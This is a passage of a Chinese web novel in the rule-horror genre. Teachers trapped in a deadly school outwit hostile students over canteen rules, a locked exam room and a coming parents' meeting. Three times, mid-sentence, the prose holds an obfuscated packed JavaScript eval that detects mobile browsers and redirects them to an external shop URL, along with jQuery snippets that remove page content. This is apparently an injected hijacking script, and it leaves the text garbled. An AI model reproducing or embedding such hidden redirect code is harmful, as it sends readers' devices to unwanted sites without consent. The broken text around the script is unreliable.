但手指刚点到屏幕上,却顿住了。他想起了什么,咬着牙把手收了回去,半天才从牙缝里挤出一句: “下午监考你给我等着,我玩不死你的!” 说完站起来就往外走,走到门口的时候,还狠狠踹了一下门板泄愤。 其他学生见章磊走了,也跟着起身,骂骂咧咧地往外涌,经过沈笑白身边时,不是甩下一句狠话,就是狠狠踢一脚讲台泄愤。 沈笑白看到他们这副样子,反而有些开心。 都被挑衅成这样了,还能强忍着不给她打负分,那么原因只能有一个。 他们不是不想打,是不能。 她很快推测出一个新的信息:他们每人每天只能打一次分,而现在已经用完了今天的打分机会。 也就是说,今天下午的监考,沈笑白可以为所欲为。 她把这条信息收好,转身走出教室去找纪燃汇合。 走廊上全是血迹,一道一道的拖拽痕迹从这头拉到那头,墙壁上还有不少抓痕,看起来是逃跑的时候挣扎留下的。 沈笑白面不改色地从那些痕迹旁边走过去。 不知道这一上午又死了多少实习老师,不过多死点也好,这样她就有机会去拿其他班级的满意值。毕竟她和自己班的关系,算是彻底搞僵了。 纪燃的班级没两步就走到了,沈笑白站在后门口,往里面看了一眼。 整个教室乱得不像话。桌椅全都东倒西歪的,抽屉里的东西撒了一地,还有几把椅子直接被砸烂了,满地都是木屑。 纪燃正站在讲台边上,拍着身上的灰。 “你干什么了?”沈笑白站在后门口问道。 纪燃闻声抬头看去,见到是自己人,张嘴就开始抱怨:“别提了,刚才那帮学生一个个都不好好听课,我挨个教训了一遍才老实。” “教训?”沈笑白蹙眉,“规则不是不让用暴力吗?” “谁跟你说教训人就非得用暴力了?” 提起这个,纪燃的兴致上来了,眉头一挑: “我们下城区不用拳头威胁人的方法多了去了,你们中城区的不知道也正常。怎么样,想不想学?我可以教你。” 他嘴角一扬,又道:“但你得先承认,你出的状况比我多。” 沈笑白:“……” 还挺记仇的,刚才说他两句记到现在。 纪燃其实并不笨,不然也不会活到现在,只是每次到了沈笑白身边,就自动开启了省电模式,脑子是一动不想动,嘴倒是动得勤快。 沈笑白无奈摇头,回了他一句:“少贫,走了。” 说完就转身往外走,纪燃也跟着走出教室,跟了上去:“哎哎还没说你呢,你用什么办法让他们乖乖上课的?” 沈笑白直接把课堂规则二的存在告诉了纪燃,纪燃听完骂了一句,说这帮小鬼真够阴的。 可沈笑白却觉得他们这样很蠢,反而主动把破绽露了出来。 要是换她来当这个学生,她会把学生规则留着,但把内容改成禁止遵守规则一,再把广播给砸了,让老师根本不知道自己是该守还是不该守,最后稀里糊涂的违规死掉。 纪燃听完,直接打了个哆嗦:“幸好这个错纬的纬主不是你,你要是纬主,咱们全得玩完。” 沈笑白嘴角一弯,正准备回一句谢谢夸奖,旁边却突然冒出一个声音。 “什么是纬主啊?” 两人同时看过去,是上次在垃圾间遇到的那个上城区富家女,浑身上下换了一套高级义体的那个。 女孩正看着他们,有点不好意思道:“我才进过两次错纬,好多东西都不太懂…刚才听你们说纬主,能不能给我讲讲呀?” 沈笑白笑了,很热情地回了一句:“当然可以。” 旁边的纪燃:“……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528272|203618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 又来了,这个见信用点眼开的女人。 沈笑白解释道:“纬主就是错纬空间的主人,它们或妖魔鬼怪,或灵,或神。” 按照纬主的不同属性,错纬空间也被划分为四大类:灵域、鬼域、神域、妖域。 “整个错纬里的一切,规则也好,环境也好,都是因纬主而产生的,它们是这个空间的主宰,是这里最特殊的存在。” 女孩听完,眼睛都亮了:“哇,姐姐你懂的好多啊,好厉害啊!” 说着她往前凑了一步,挠了挠头,有些不好意思道:“那个…姐姐,还有个小忙,想请你帮一下…” “一会下午监考的时候,能不能带带我,帮我一起过关呀?” 沈笑白眼底闪过一丝狐疑。一个才进过两次错纬的天真富家女,能活到现在就已经够让人起疑了,现在还主动套近乎想跟着自己,很难不让人警惕起来。 “你刚才是怎么活下来的?”沈笑白问。 随后想到了什么,又问了句,“是谢止帮你的?” “谢止?那个剪师吗?”女孩摇摇头,“他才不会管我们死活呢。” 她接着说起昨天的事。 大家发现谢止是剪师之后,求了他半天带大家安全出去,他没答应,说自己这次来错纬有别的任务,不负责保护平民。 众人一听就火了,说出去后要投诉他,那个叫雷子的胖子甚至想动手。最后谢止被他们烦得受不了,才妥协答应让他们跟着,说看他怎么过关,照着学就够了,众人这才作罢。 “今天早上我们就是趴在他教室门口偷学,才活下来的。”女孩道,“不过他看起来好凶,我不敢靠太近。” “还是姐姐看起来亲切,又那么厉害!姐姐下午就带我一起吧,求求了。” 她说完这些,眼巴巴地看着沈笑白,满脸期待地等着回答。 沈笑白思考片刻后,看在钱的面子上,点头道:“行,跟着吧。” 女孩高兴得差点跳起来,凑上来自我介绍:“我叫解悠悠!叫我悠悠就行,谢谢姐姐,我一定不会给你添麻烦的!” “添了麻烦也没关系,”沈笑白冲她眨了眨眼,“出去之后记得让妈妈感谢我就行。” 解悠悠乖巧点头:“嗯嗯那是当然啦!出去我就让妈妈打一百万给姐姐!” 纪燃站在边上,终于忍不住了:“不是,沈笑白,这儿还站着个人呢,都不问问我的意见就答应了?” 沈笑白表示你的意见没有信用点重要,说完就径直往楼下走去。纪燃撇了撇嘴,有点不爽,但还是快步跟了上去。 解悠悠和纪燃并排走着,她主动打招呼道:“哥哥你叫什么呀?” “纪燃。”对方冷漠回复。 “你名字真好听!” 解悠悠没被他的冷淡影响,依旧热情,“你这头发染的什么颜色?西柚红吗?好好看,我也想染一个。” “什么西柚红,这叫落日红!”说起染发,纪燃可就来了兴致,说这颜色是他自己调的,独家秘方,半年不掉色,滔滔不绝地炫耀了一大堆。 解悠悠在旁边听得兴奋,时不时接两句,两个同龄人就这么热火朝天地聊了起来。 聊着聊着,话题不知怎么拐到了沈笑白身上。 解悠悠道:“沈姐姐人真好,我还以为掉进错纬这种地方,没人会管别人死活呢。” 纪燃翻了个巨大的白眼:“…你想多了,她愿意带你,纯粹是因为你有钱。” 走在前面的沈笑白突然回头:“我可都听见了啊。” 解悠悠愣了一下,随即笑容更灿烂了。她小跑着追上去,一把挽住沈笑白的手臂,整个人贴上去。 “原来姐姐喜欢钱啊!”她满脸开心道,“那太好啦,我最不缺的就是钱了。” “回去我就让妈妈再给你打一百万信用点!” “好啊。”沈笑白摸摸她的头,很是欣慰。 纪燃看着这一幕,翻了个巨大的白眼:“两个精神病。” 他加快脚步,头也不回地往前走,直接把两人甩在身后。 没察觉到纪燃情绪的解悠悠,自顾自地挽着沈笑白问:“姐姐,我们现在去哪儿呀?” 沈笑白:“食堂。” 16. 第∫(0,4)2xdx章 从昨天到现在,他们滴水未进,一口饭都没吃过。再这么熬下去,根本不用等到实习期结束,最多三四天,他们全得饿死在这儿。 至于错纬里的饭能不能吃,会不会触发什么规则,得去看了才知道。 沈笑白本来以为,像解悠悠这样的小白,一听到要去食堂,肯定要问东问西,结果这丫头什么都没问,只是老老实实紧跟在边上。 省心,十分省心。 她莫名的生出一种微妙的欣慰感,感觉像是带了个懂事的孙女出门。 沈笑白收回思绪,抬眼看向前方。食堂离教学楼并不远,他们没走多久就到了。 大门口那条红色横幅依旧挂着。 满分食堂:追求满分,永不止步,热烈欢迎大家提建议! 昨天门口这个位置被几个学生挡着,沈笑白没注意到,今天走近了才发现,食堂门口还立着一块警示牌,上面写着: 禁止外带食物,一经发现,全体开除。 “怎么这儿也有警示牌?” 纪燃皱起眉头,目光在那几行字上扫了扫,“而且这规则也写得太简单了吧?” 沈笑白点头,她也觉得有点怪。 教学楼的警示牌写着禁止私自坠楼,宿舍楼的警示牌是23点后禁止开灯,食堂又写着禁止外带食物,每一条都轻轻松松就能做到。 可这恰恰是问题所在。 错纬里的规则,从来都是反人性,很难遵守,很容易踩坑的。而这几条的规则,实在是简单,太容易做到了。 沈笑白把疑惑压进心底,暂时没多说什么。现在不是深究的时候,得先去看看食堂的情况。 她转头嘱咐道:“进去之后别乱碰,别乱动,看我眼色。” 这话是专门说给解悠悠听的,纪燃是老手,不用交代这些事情。 解悠悠狠狠点头,跟着他们一前一后,走进了食堂。 现在正是饭点时间,里面早就挤满了人。 这个食堂是分区的,一道栏杆隔在中间,左边写着学生就餐区,右边写着教工就餐区。 墙上到处钉着透明的意见箱,走两三步就有一个,密密麻麻的,看得出食堂主人对意见这件事有多执着。 但那些意见箱里,绝大部分都是空的。只有几个箱子底部,孤零零地躺着几张意见条。 沈笑白凑近看了一眼,纸条上写的全是同一句话。 好吃,好好吃,没有意见,太完美了! “我们吃不吃?”纪燃问沈笑白。 “吃。”沈笑白朝教工区扬了扬下巴,“有人已经帮我们试过毒了。” 谢止正坐在那边的餐桌上,一口一口往嘴里送食物,表情看不出任何异常,至少目前没有中毒或暴毙的迹象。 而他身后的那张桌子,挤满了剩下的实习老师。 自从谢止默许他们跟着之后,这些人就像尾巴一样黏在他身后。谢止走到哪儿,他们跟到哪儿,谢止做什么,他们就学什么,生怕哪里违规了就再也走不出去了。 刚才谢止来食堂,他们就跟着来,一个个早就饿得前胸贴后背的,拿到食物就往嘴里塞。 然后他们的表情就十分精彩了。皱眉的,咧嘴的,想吐出来又硬生生咽下去的。 看他们那样子,这些食物想必好吃不到哪里去。 “姐姐,我帮你们拿好了,我们快去吃吧。”解悠悠不知道什么时候已经端了三份餐盘回来,都是标餐,搭配好的,没什么可选的。 沈笑白看了,欣慰地点点头。 纪燃也看过来:“哟,有眼力见儿啊,谢了。” 解悠悠嘿嘿一笑:“小事儿,应该的。” 三个人端着餐盘走到教工区坐下,沈笑白特地选了谢止对面那张桌子,坐下去的时候还冲对方打了个招呼。 谢止看见她,脸色肉眼可见地黑了。 他身后那桌跟班,全拜沈笑白所赐,要不是她昨天搞那一出,这群人也不会像狗皮膏药一样黏着他,甩都甩不掉。 本来这顿饭本来就难以下咽,现在看到沈笑白那张脸,更难吃了。 谢止干脆筷子一搁,起身走人。身后那桌跟班齐刷刷站起来,一个接一个跟上去,跟得紧紧的。 纪燃看着这场面,直接笑出了声:“哎哟我天,你们看谢止屁股后头,好长的一条尾巴啊!” 他一边笑一边往嘴里塞了块肉,刚咬下去。 “呸!” 他脸色一变,下意识就要往外吐。 解悠悠眼疾手快,一把捂住他的嘴,眼睛紧张地往四周扫:“别吐!别吐!吐了万一违规怎么办!” 纪燃把她的手扒拉开,直接吐了出来。 “没事,”他抹了把嘴,“不会违规。” 解悠悠不信:“你怎么知道不会?” 纪燃朝食堂入口方向努了努嘴:“你看那边。” 解悠悠顺着他的视线看过去,入口边上的墙上挂着一块大黑板,上面干干净净,一个字都没有。 “都来两天了,你还没摸出规律?” 纪燃解释道,“黑板就是专门写规则的地方,有字,就有要守的规矩,没字,就不需要守,随便浪。” 他说完还看向沈笑白,一脸求表扬的神色:“我说的对吧?” “还行,”沈笑白道,“跟了我这么久,总算有点长进了。” 不过保险起见,沈笑白还是提醒了一句,让大家别直接说这东西难吃。毕竟看周围那些学生的状态就知道了,明明难吃得要命,还得硬夸好吃。虽然不清楚其中原因,但跟着做总没错。 解悠悠在旁边听得认真,狠狠点了点头。 纪燃低头扒拉了下餐盘里的东西,表情复杂,“做成这样,还不让外带。这帮学生天天就吃这个?难怪一个个都吃得心理变态。” 他边说边从兜里掏出一个小瓶子,往自己那份食物上撒了些透明的粉末,然后咬了一口,原本皱着的眉头瞬间舒展开来:“嗯,这还差不多。” 纪燃又从兜里摸出两小瓶,一人一个推过来:“你们也试试。” “下城区的味蕾欺骗剂,科技狠活,再恶心的东西,撒上这个,都能给你骗出山珍海味的感觉。” 解悠悠接过瓶子,好奇地翻来覆去看了看,也学着往自己餐盘上撒了点。 沈笑白同样撒了一点,然后顺手揣进口袋:“快吃,吃完还有事儿。” 纪燃应了一声:“得嘞。” 解悠悠一边嚼一边含糊地问:“什么事儿啊?” 纪燃冲她挤了挤眼:“一会儿你就知道了。” 直到十五分钟后,解悠悠跟着两人走进杂物间,看着纪燃从角落里翻出一把锤子,扛在肩上,才终于反应过来他们说的正事是什么。 “……你们要砸广播室?”解悠悠道。 “答对了。”纪燃咧嘴一笑。 他解释道:“上午的规则你还记得吧?上课铃一响,规则就生效了。” “下午也一样,考试铃一响,我们就得守规矩,所以只要铃不响……” “我们就不用守规则!”解悠悠眼睛一亮,抢过话头,满眼崇拜,“纪燃哥你也太聪明了吧!” “那可不,这还用你说。”纪燃挑了挑眉,一脸得意。 “行了,别嘚瑟了,赶紧走。”沈笑白催促道,她担心迟则生变。 纪燃觉得她有些多虑了,但还是拎着锤子跟上去,三个人直奔广播室而去。 走出一段路,他回头瞥了沈笑白一眼:“你也太紧张了,急什么,广播室就在前面,两三步就到了。” “再说了,咱这招这么缺德,谁能想到……方缺?!” 纪燃脚步一滞,方缺正蹲在广播室门口。 “你在这干什么??”他脱口而出。 方缺听见声音,慢悠悠站起来,拍了拍膝盖上的灰。 “接到学生举报,说有人要砸广播室。”她说,“我就来看看。” 沈笑白眼角一抽,视线直直看向方缺身后的那扇广播室门上。 原来的木门被整个卸掉了,换成了一扇铁门,最重要的是门框四周,还全用电焊焊死了,焊点密密麻麻,看起来密不透风的。 自己的担心真不是多余的,刚才不应该吃饭,应该直接来的。 “嗯,这下应该够牢固了。” 方缺看了看自己刚换的门,满意地点了点头,“加厚钢门,上上下下全焊死了。别说锤子,就是拿炮轰,估计都得轰半天。” 她看向三人,似笑非笑道:“你们呢?来这儿干什么?” 纪燃不动声色地把锤子藏到身后:“没事啊,我们吃饱了撑的,出来散散步。” “哦,这样。”方缺点点头,像是真信了。 “对了,正好你们在这儿,省得我一个个去找。下午的监考不用换教室,就在你们各自的班级考试,一点钟准时开考。” 沈笑白闻言眉头轻蹙。 她原本以为下午考试会全校打乱,重新分配考场。因为不知道自己会被分到哪里,所以才来砸广播室,一次性解决所有规则的威胁。 可她现在知道了,还是7班。既然现在广播室砸不了,那她就赶回7班砸教室的喇叭,效果也是一样的。 她看了一眼墙上的时钟,12点50。距离13点还有10分钟,来得及。 “谢谢方主任提醒。” 沈笑白挤出个笑,拽了一下边上两人的袖子,转身就往楼梯口跑。 可才跑出两步,方缺又喊住了他们。 “对了,教室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528273|203618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的喇叭,我刚才也顺手换成铁的了。” 她晃了晃手里的焊枪,笑了笑,“也焊死了。” 沈笑白僵在原地好几秒,缓了好半天才从牙缝里挤出来一句:“方主任做事还真是周全啊。” 方缺微微一笑:“应该的。” 沈笑白自然是不信这个邪的,铁门能焊死她认了,喇叭就算换成铁的了,怎么焊死? 可等她到了七班门口,才发现自己还是想得太简单了。 方缺哪是焊喇叭,她是直接焊了一个铁罩子上去,把整个喇叭严严实实地罩在了里面。纪燃试着拿锤子砸了几下,火星子都溅出来了,铁罩子上只留了几道白印,纹丝不动。 这下好了,考试只能如期进行,他们逃不掉了。 更糟糕的是,讲台上五十份考卷已经整整齐齐地摆好了,黑板上,上午的规则也彻底消失了。 取而代之的,是一条新规则。 考场守则一:老师需监督学生,禁止作弊(严禁使用暴力)。 还是一样,只有针对老师的守则一。针对学生的守则二,依旧被擦得干干净净。 沈笑白盯着那片空白处,太阳穴突突地跳。 现在没有任何线索,没有任何提示,她要在短时间内,靠什么去猜制衡学生的守则二是什么? 那些学生上午吃了大亏,憋了一肚子火,考试铃一响,他们一定会不遗余力的,用最快速的方式作弊,让沈笑白违规。 不会给她留任何思考的时间,不会给她推测出守则二的机会。 “你慌什么?” 纪燃看了一眼规则,觉得这并不难:“不就是禁止他们作弊吗?不用暴力,我也有一百种办法让他们不敢作弊。” 沈笑白摇头:“没用,这和上午不一样。” “上午的要求是好好听课,学生听没听,你一眼就能看出来,没听你可以直接出手教训。” “但作弊不一样。”她声音沉下去,“这本身就是一种偷偷摸摸的行为。” “你就算威胁了他们,他们也可以表面答应,转头再偷偷作弊,你根本发现不了,我们会在完全不知情的情况下,就被触犯规则。” 纪燃听完脸色瞬间变了。 边上的解忧忧看他们俩这个神色,也意识到了问题的严重性。 这不是能不能威胁住学生的问题,而是你根本不知道他们有没有在作弊,根本没法及时阻止。 沈笑白眉头紧蹙,大脑飞速运转着。 必须想办法拖住他们。 必须拖到自己找到那条,能制衡他们的守则二为止。 而事实证明,沈笑白的这些担忧全是对的。 因为这群学生就是这么想的。 吃完午饭,他们就早早出了门,兴冲冲地往教室赶。他们计划等考试铃一响,就立刻作弊,绝不再像上午那样磨磨蹭蹭,给沈笑白留任何反应的机会。 领头羊章磊走在最前面,带着七班的众人,快速穿过走廊。 “你们看,我刚弄好的小抄,藏在指甲缝里,她肯定看不见。” “牛啊,这么小的字你也写得上去?” 他们一个个兴奋过头,步子又急又快,走在最边上的那个学生一不留神,结结实实撞上了正在拖地的保洁。 “你故意撞我干什么!” 那学生不分青红皂白,先发制人。 保洁拖了一中午的地,连午饭都没顾上吃,好不容易才弄干净。现在莫名其妙被撞了,对方还恶人先告状。她憋了一肚子火,正愁没地方发。 “到底谁撞谁啊!你们这些学生走路都不带看的?!” 保洁越说越火:“上午弄那一地血,我拖了俩小时!你们就不能让那些实习老师死远点?非得死在教学楼里?死在门口保安亭不行吗?!” 那学生被说的也直冒火气,撸起袖子就要往上冲。 章磊一看不对,赶紧上前一步拉住自己人:“行了行了,别吵了,正事要紧。” 弄死沈笑白才是正事,跟一个保洁在这儿纠缠,纯属浪费时间。 那学生压了压火气,狠狠甩下一句:“你给我等着。” 说完转身跟上大部队,一行人继续往自己班级走去,只留下保洁一个人在原地骂骂咧咧。 这个小插曲丝毫没有影响大家的心情,越靠近七班教室,他们就越是兴奋。摩拳擦掌,跃跃欲试,边走边检查小抄有没有藏好。 “这回她死定了,我看她还怎么神气。” “都小声点,快到了,别让她听见了。” “听见又怎样?她还能把我们全盯住不成?” 可这股子兴奋劲到了七班教室门口,就戛然而止。 他们一个个全都僵在原地,没有人再继续往前走一步。 17. 第16+sin(π2)章 门从外面被锁死了。 粗重的铁链一圈一圈缠在门把手上,还挂了一把拳头大的铁锁。窗户也没能幸免,横七竖八的木板钉死了每一扇窗,连条缝都没留。 教室所有的入口全被封死了。 沈笑白站在门口,站在她亲手布置的杰作前,笑眯眯地朝他们招手。 章磊的血压瞬间就飙上去了。他直接冲到门口去拽铁链,发现拽不动,又转身去掰窗户上的木条,使劲掰了几下,还是扯不开,掌心反倒被木刺扎了一下。 “你有病吧!”他吼道,“锁教室干什么?开门!” 沈笑白摊了摊手,一脸无辜:“我也没办法啊,要想不让你们在考场里作弊,最简单的方法就是别进考场。” 说完她眯起眼睛,慢悠悠地反问:“你们说对吧?” 沈笑白说得对。 考场守则只能管考场里发生的事情,脱离了考场,他们做不作弊,怎么作弊,考场守则都管不着。 他们辛辛苦苦做了一个中午的小抄,藏在指甲缝里的,笔盖里的,袖口里的,现在全白费了,又被沈笑白赢了一局。 一群人盯着她那张诡计得逞的笑脸,气得攥紧了拳头,脏话忍不住一个接一个骂出来。 于此同时,考试铃也响了。 铃声夹杂着骂声,沈笑白听着,脸上的笑意反而更深了。 “今天就辛苦各位同学,在走廊站到考试结束吧。” 她本以为说出这句话之后,会有学生直接被气走,结果一个都没有。不仅没走,刚才那股骂人的劲也瞬间泄了,一个个愣在原地,看起来反倒有些……慌张? “等等!” 章磊率先冲上来,盯着沈笑白:“不进考场就不进,但考试铃都已经响了,你先把卷子给我们!” 边上的学生纷纷挤上来附和。 “是啊,你不给我们卷子,一会拿什么给方主任交差?” “方主任到时候可饶不了你!” “就是,你就不怕方主任惩罚你吗!” 沈笑白看着这一幕,眉头轻蹙。 明明已经脱离考场范畴了,没有规则约束,不管是守则一还是守则二,统统不需要遵守了,他们在急什么? 她扫过那一个个着急的学生,忽然想到了什么。 “试卷可以给你们,”她开口道,“但你们要先回答我一个问题。” “什么问题?快说啊!”章磊脱口而出,旁边的学生也纷纷点头,一个个都急得不行。 “告诉我,”沈笑白道,“考场守则二是什么。” 此话一出,周围着急的学生瞬间卡壳了。他们互相看了看,没有五官的脸上看不出表情,但微微后撤的身体已经说明了他们的犹豫和警惕。 谁也没有立刻回话。 谁也不想把自己的把柄和底牌交给别人。 沈笑白也不催,就那么静静地站着等。 章磊很快反应过来:“你不是都禁止我们进考场了吗?还管我们的守则二干什么?” 他说得对,沈笑白已经找到了规则的漏洞,之后的每一天都可以把他们关在教室外,不让他们进考场。 可是。 万一明天他们去举报呢?说她沈笑白私自锁门,不让学生进考场。方缺要是真来现场维持秩序了,到那时候,她拿什么自保? 原本她还在愁去哪儿打探守则二,没想到机会自己送上门来了。 沈笑白心里一阵翻涌,面上却不动声色,她装作豪不在乎的样子,点了点头:“你说的也对,那算了,卷子我也不拿了。” 说完她转身要走。 “哎哎哎等等!” 学生们一哄而上,拦住她的去路。 “……行,”章磊妥协了,“我们说。” 沈笑白这才停下脚步,看着他们。 “一会我数一二三,你们一起把守则二的内容喊出来。” 她顿了顿。 “但凡有一个人没喊,或者喊慢了,卷子我就不拿了。” 这句话落下去的时候,学生们的后背同时一凉。 她又猜到了。 猜到他们会有人站出来编一条假的守则二,然后全班一起附和对对就是这个,把她糊弄过去。这是他们惯用的套路,也是默契。 可现在,沈笑白要求他们一起大声喊出来。 在没有提前对过词的情况下,五十个人同时开口,但凡有一个人在撒谎,立刻就会暴露。 因为真话只有一种,假话却有无数种。能够异口同声,整整齐齐,一个字都不差喊出来的,只可能是真话。 这老师是怪物吗? 怎么每次都能这么快找到破局的办法,还把他们每一条反击的路都堵得死死的? 沈笑白并没给他们太多反应的时间,倒数声已经砸了下来。 “三、二、一。” 听到这个指令,学生们根本没有其他选择,只能齐刷刷地喊出考场守则二的内容: “学生禁止放弃最后一道大题!” “括号,至少要写个解字,括号完!” 沈笑白:“……” 这算是什么考场规则。 禁止放弃最后一道大题,还至少要写个解字? 要不是五十个人异口同声喊出来的,她真的会以为是他们编出来糊弄自己的。 “好了吧?规则都告诉你了,快去拿试卷啊!”章磊在边上急得直跺脚,其他学生也跟着催促了起来。 沈笑白说了句别急,让他们在这等着,自己转身去五班找纪燃拿试卷。 刚才锁门前她就多留了个心眼,让纪燃和解悠悠先把各自班级的卷子拿出来,没想到还真用上了。解悠悠在三楼,跟他们不在一个楼层,卷子她自己保管,沈笑白班的卷子则都放在纪燃那儿。 她走到五班门口时,走廊上已经蹲了一排人。 纪燃早把卷子发下去了,学生们正趴在走廊上写。蹲着的、跪着的、借窗台当桌子的,什么姿势都有。一看就是刚才闹过一场,拿到卷子就拼命写,一分钟都舍不得耽搁。 沈笑白把守则二的事简单跟纪燃说了一声,拿了卷子就往回走。 七班学生一拿到试卷,反应和五班如出一辙,全都迫不及待地翻开,原地开写。蹲着的,站着的,靠墙的,一个个都急得不行,愣是没人想起来去找张桌子。 沈笑白看着他们那副样子,心里的疑惑越来越浓。 到底是什么事,让他们宁可把守则二告诉她,都要拼命写这张卷子?到底是什么东西在逼他们? 她忍不住往前走了几步,偏头看了一眼最近那个学生的卷子。 这是一张综合试卷,语数英物化生地史政,所有科目全塞进去了。高中三年的知识被压缩在正反两面,密密麻麻的题印得满满当当。 沈笑白当了几十年的法学教授,穿越到游戏前的那年才刚退休,大半辈子都泡在书堆里,知识储备量极其丰富。 她随便扫了几个学生的答案,忍不住皱起眉来。 这么简单的题都能做错?还几乎是全错?他们平时到底是怎么学的? 或许是她的目光停留太久,章磊察觉到了,一把捂住自己的卷子,吼了句:“看什么看!你看得懂吗你!” “第三题错了,”沈笑白一脸平静道,“应该选C。” 她挑的是章磊整张卷子上唯一做对的那道题,还故意给了一个错误答案。 章磊愣了一下,狐疑地盯着她:“你会那么好心?” “爱信不信。”沈笑白说完直接走开了,只留下章磊一个人对着第三题反复纠结。 这题他本来就拿不准,一开始就想选C的,难道真的是C?不对,沈笑白会有这么好心?她肯定是故意坑自己的! 五分钟后,在章磊的反复斟酌之下,还是把答案改成了C。整张卷子唯一对的一道题,就这么没了。 沈笑白在旁边正好瞥见这一幕,嘴角微微翘了一下。 接下来的时间,学生们不再闹腾,都在埋头答题,整栋教学楼安静得只剩笔尖摩擦纸面的沙沙声。只有楼上偶尔响起一两声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528274|203618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 广播,通报哪位实习老师又违规了,紧接着就是一阵阵惨叫。 大约到下午五点,考试结束铃响了,方缺不知道什么时候出现在走廊上,开始挨个班级收卷子。 学生们一看到她来,立刻规规矩矩地放下笔,恭恭敬敬地把卷子递过去,没有一个敢拖拉。 收到七班时,她顺手通知了沈笑白家长会的安排。 “18点准时开始,还是在各自的班级进行。”方缺说,“每个学生会来一位家长,学生也要在场,和家长一起听。” “学生不用回避?”沈笑白问。 “当然不用,”方缺神秘兮兮道,“他们可是主角啊,主角回避什么?” 家长会的主角不是家长,而是学生?沈笑白不由得琢磨起这里面的缘由。 纪燃显然没她想得那么多,方缺刚收完他班级的卷子,他就跑过来拉沈笑白:“走,去食堂吃饭。” 虽然那个食堂难吃得要命,但一会儿还有家长会,晚上宿舍也不安生,他们需要足够的体力和精力来应对,再难吃也得吃几口。更何况还有味蕾欺骗剂在手,吃下一碗不成问题。 沈笑白却说她不去了,让纪燃带着解悠悠去。她不怎么饿,只想找个地方让脑子歇一歇。纪燃了解她的习惯,没多劝,自己上楼找解悠悠去了。 等学生们走得差不多了,沈笑白才把七班教室的锁链拆了。 黑板上的规则还没更新,还是下午的考场规则。她干脆直接坐在教室里,靠在椅背上,闭眼休息。 说是休息,脑子却不听使唤自己动了起来。 那些家长手上也有10分的满意值,既然自己学生的满意值拿不到手,家长的是不是会好拿一些? 想到这里她又觉得好笑,还想满意值呢,不如先想想一会儿家长会有什么规则,自己该怎么应付。 还有那群学生,下午拼命写卷子那架势,会不会和家长会有关? 问题越冒越多,疑惑越压越重,沈笑白的太阳穴开始突突地跳。 不行,得出去透口气。 她起身往走廊走,可刚出教室门口,就迎面撞上一个正在疾走的学生。那学生没刹住车,直接摔在了地上。 沈笑白看了一眼对方脸上的编号,学生14号,不是她七班那群熊孩子。 她上前准备扶人起来,可手刚碰到对方的胳膊,就被一把甩开。 “走开,不用你扶。”那声音又冷又冲。 沈笑白没在自讨没趣,收回了手。 14号学生自己站了起来,拍了拍身上的灰。沈笑白这才看清对方是个女孩,扎着标准马尾辫,校服也穿得规规矩矩的,拉链直拉到顶。 “你看什么看?”对方又吼了一声。 沈笑白见她背着书包一副要往外走的样子,随口问了句:“要开家长会了,你要去哪儿?” “关你什么事!”女生扔下这句话,气哄哄地直往楼下走。 沈笑白看着她远去的背影,心里默默叹了口气。看来不管哪个班的学生都不太好相处,要想从别班学生手上拿满意值,也很难。 正这么想着,面前又急匆匆跑过一个女生,学生01号,像是在追前面那个14号。 这位倒是有礼貌,看到沈笑白站在门口,停下来喊了声老师好,才继续追过去。 沈笑白收回前言,还是有讲礼貌的学生的,或许自己的满意值还有希望。 下午的考试是五点结束,距离六点的家长会中间没隔多长时间,纪燃他们草草吃完饭就回教室跟沈笑白汇合了。三个人坐在教室里盯着黑板,等规则更新。 一直盯到大约五点四十五分的时候,讲台上突然凭空出现了一沓试卷。 沈笑白上前翻看,是下午考试的卷子,已经批出来了,打了分,还按成绩排了一张年级排名表,应该是一会儿家长会要用的东西。 那么规则也该来了。 果然,下一刻,黑板上下午的考场规则渐渐淡去,字迹一点一点消失。 三个人同时屏住呼吸,紧紧盯着那块黑板。 18. 第∫(0,6)dx章 家长会规则出现的那一刻,三个人的脸色同时变了。 因为这一次的守则二居然没被擦掉,完整地留在了黑板上。 家长会期间守则: ①老师须无条件听从家长一切指令,并全程保持和善。 ②学生须绝对服从家长一切安排,并全程保持下跪。 “他们这次怎么不擦守则二了?”解悠悠皱眉问。 “不是不想擦,”沈笑白道,“是不敢。” 有家长在的场所,学生们不敢做任何越矩的事,甚至连擦掉一条规则的胆子都没有。 解悠悠听完拍了拍胸口,脸上总算有了点笑意:“那今晚家长会我们不就轻松多了?学生不敢乱来,没人再害我们违规了。” 可她说完却发现旁边两人的脸色没有跟着好转,反而比刚才更难看了。 “怎么了?”解悠悠问。 沈笑白神色沉了沉,开口道:“学生是不敢乱来了,但还有家长。” 